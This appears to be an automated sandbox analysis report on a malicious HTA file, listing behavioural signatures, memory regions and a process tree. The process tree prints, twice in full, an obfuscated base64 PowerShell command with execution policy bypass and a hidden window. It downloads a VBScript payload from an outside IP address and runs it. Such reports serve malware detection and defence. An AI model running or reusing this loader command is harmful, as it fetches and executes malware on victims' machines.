Analysis
- max time kernel
150s - max time network
26s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
23/09/2026, 19:02
General
- Target vcv.hta
- Size 14KB
- Sample260923-xpymraac55
- SHA256 5e0b973a65de114a7735c0690fa74e81586af3073a17eff371873797b32d2248
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\vcv.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C poweRsHElL.EXe -eX ByPass -NoP -w 1 -Ec IAAJAAkACQAgAAkACQAgAAkAIAAJAAkACQAJAAkACQAgAAkACQAJAAkAIAAJACAAIAAJAHcARwBlAHQAIAAgACAAIAAgACAAIAAgAB0gaAB0AHQAcAA6AC8ALwA4ADcALgAxADAANgAuADUAMwAuADUANwAvADIAMgAvAGcAZwBkAG8AbwBvAC4AdgBiAEUAHSAgACAAIAAgACAAIAAgAC0ATwB1AHQAZgBJAEwAZQAgAAkAIAAgAAkAIAAgACAACQAJACAACQAJAAkAIAAgAAkACQAJAB0gJABlAG4AdgA6AGEAUABQAEQAQQBUAEEAXABnAHQAZQBuAHQAZQByAHkAcwBlAHcALgB2AGIARQAdICAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJgAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAHYAOgBhAFAAcABEAGEAVABhAFwAZwB0AGUAbgB0AGUAcgB5AHMAZQB3AC4AdgBiAEUAHSA= "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepoweRsHElL.EXe -eX ByPass -NoP -w 1 -Ec IAAJAAkACQAgAAkACQAgAAkAIAAJAAkACQAJAAkACQAgAAkACQAJAAkAIAAJACAAIAAJAHcARwBlAHQAIAAgACAAIAAgACAAIAAgAB0gaAB0AHQAcAA6AC8ALwA4ADcALgAxADAANgAuADUAMwAuADUANwAvADIAMgAvAGcAZwBkAG8AbwBvAC4AdgBiAEUAHSAgACAAIAAgACAAIAAgAC0ATwB1AHQAZgBJAEwAZQAgAAkAIAAgAAkAIAAgACAACQAJACAACQAJAAkAIAAgAAkACQAJAB0gJABlAG4AdgA6AGEAUABQAEQAQQBUAEEAXABnAHQAZQBuAHQAZQByAHkAcwBlAHcALgB2AGIARQAdICAAOwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJgAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAHYAOgBhAFAAcABEAGEAVABhAFwAZwB0AGUAbgB0AGUAcgB5AHMAZQB3AC4AdgBiAEUAHSA= "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/4792-0-0x0000000074862000-0x0000000074863000-memory.dmp
memory/4792-1-0x0000000002AC0000-0x0000000002AF6000-memory.dmp
memory/4792-2-0x0000000074850000-0x000000007500C000-memory.dmp
memory/4792-3-0x00000000056E0000-0x0000000005D2A000-memory.dmp
memory/4792-5-0x0000000074850000-0x000000007500C000-memory.dmp
memory/4792-4-0x0000000005600000-0x0000000005622000-memory.dmp
memory/4792-7-0x0000000005DA0000-0x0000000005E06000-memory.dmp
memory/4792-6-0x0000000005D30000-0x0000000005D96000-memory.dmp
memory/4792-8-0x0000000005E10000-0x000000000616B000-memory.dmp
memory/4792-11-0x00000000062F0000-0x000000000630E000-memory.dmp
memory/4792-12-0x0000000006340000-0x000000000638C000-memory.dmp
memory/4792-13-0x0000000007A10000-0x000000000808C000-memory.dmp
memory/4792-14-0x0000000006840000-0x000000000685A000-memory.dmp
memory/4792-15-0x0000000074862000-0x0000000074863000-memory.dmp
memory/4792-16-0x0000000074850000-0x000000007500C000-memory.dmp
memory/4792-19-0x0000000074850000-0x000000007500C000-memory.dmp